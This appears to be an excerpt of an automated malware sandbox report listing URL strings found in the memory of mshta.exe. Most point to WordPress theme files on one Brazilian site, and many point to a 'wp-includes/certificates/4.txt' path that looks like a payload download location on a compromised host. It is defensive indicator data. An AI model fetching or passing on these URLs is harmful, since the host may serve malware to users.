Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523176455.000000000C440000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.magnific-popup.min.js?ver=0.9.3
Source: mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.js
Source: mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsC
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jsC:
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobile.customized.min.jse
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347599158.0000000006202000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.522532254.000000000C320000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303908827.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.513911219.0000000006B83000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.04
Source: mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0=LMEM
Source: mshta.exe, 0000000A.00000002.522532254.000000000C320000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0C:
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0q
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0
Source: mshta.exe, 0000000A.00000003.350712377.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.00
Source: mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.09.31
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0C:
Source: mshta.exe, 0000000A.00000003.382274160.000000000C5DA000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.381385658.000000000C5B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0PK=f
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0j
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.zaccordion.min.js?ver=2.1.0s
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Source: mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6$
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511278315.0000000006178000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6er-wp-public.js?
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6x
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.32r
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3Bu
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/superfish.js?ver=1.5.3s
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.03
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.06d
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0er=2.6.0
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/js/tmstickup.js?ver=1.0.0r=1.0)
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFramework/style.css.9.20r
Source: mshta.exe, 0000000A.00000003.351185394.00000000077F0000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.517124026.00000000077F1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/CherryFrameworkwidth=device-width
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.313496361.0000000006308000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512354318.0000000006830000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.css
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/bootstrap/css/bootstrap.cssL
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg)
Source: mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg);
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg1a
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpgpa
Source: mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.3
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0.js?ver=5.0.33.0.6J
Source: mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0=fC:
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0yr
Source: mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Source: mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0.
Source: mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.00h
Source: mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0=fC:
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0D
Source: mshta.exe, 0000000A.00000003.381603478.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511324135.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348525508.000000000C552000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.346222327.000000000C526000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347425710.000000000C53C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0L
Source: mshta.exe, 0000000A.00000002.511592685.00000000061F9000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349401689.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.33.0.68
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3C
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0ver=5.0.3Z
Source: mshta.exe, 0000000A.00000002.523568267.000000000C553000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0#t
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.04t
Source: mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0fC:
Source: mshta.exe, 0000000A.00000002.511036241.0000000006152000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0p
Source: mshta.exe, 0000000A.00000003.382470999.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382646795.000000000C6AF000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.523705173.000000000C6AE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/js/scrollShowTime.js?ver=1.0s
Source: mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.css
Source: mshta.exe, 0000000A.00000002.510911714.0000000006130000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253/main-style.cssets/css/logo-slider-wp-public.cs
Source: mshta.exe, 0000000A.00000002.514426593.0000000006E10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/themes/theme51253h
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347025304.0000000006856000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512469356.0000000006866000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303881275.00000000061D2000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.png)
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngEHS=
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngUKC
Source: mshta.exe, 0000000A.00000003.348835016.0000000006189000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511413292.000000000619B000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngmK
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-content/uploads/2018/08/facex_horizontal2-e1535501425981.pngs
Source: mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/CherryFramework/style.css
Source: mshta.exe, 0000000A.00000003.304099066.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511676393.000000000620C000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347751396.000000000620C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/CherryFramework/style.css)6
Source: mshta.exe, 0000000A.00000003.348715822.0000000006177000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.382012163.000000000C4DB000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347963455.000000000C449000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#
Source: mshta.exe, 0000000A.00000003.303813127.0000000006189000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#0_
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#J01
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#J31=
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#e)
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#e)j3
Source: mshta.exe, 0000000A.00000002.523223387.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt#top
Source: mshta.exe, 0000000A.00000003.347193448.00000000068DC000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.512614928.00000000068DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt$
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt%
Source: mshta.exe, 0000000A.00000003.350548233.000000000C493000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.349776382.000000000C45F000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000003.347975739.000000000C452000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.#
Source: mshta.exe, 0000000A.00000003.349254102.00000000061C8000.00000004.00000800.00020000.00000000.sdmp, mshta.exe, 0000000A.00000002.511512538.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt.eot
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt8
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt9p
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txt:
Source: mshta.exe, 0000000A.00000003.346536198.0000000006984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtBM
Source: mshta.exe, 0000000A.00000003.347342517.0000000006951000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtE
Source: mshta.exe, 0000000A.00000003.303772352.0000000006150000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtH
Source: mshta.exe, 0000000A.00000002.507964811.0000000000DF0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtLOCALAd164ZW
Source: mshta.exe, 0000000A.00000003.346536198.0000000006984000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://facextrade.com.br/wp-includes/certificates/4.txtO
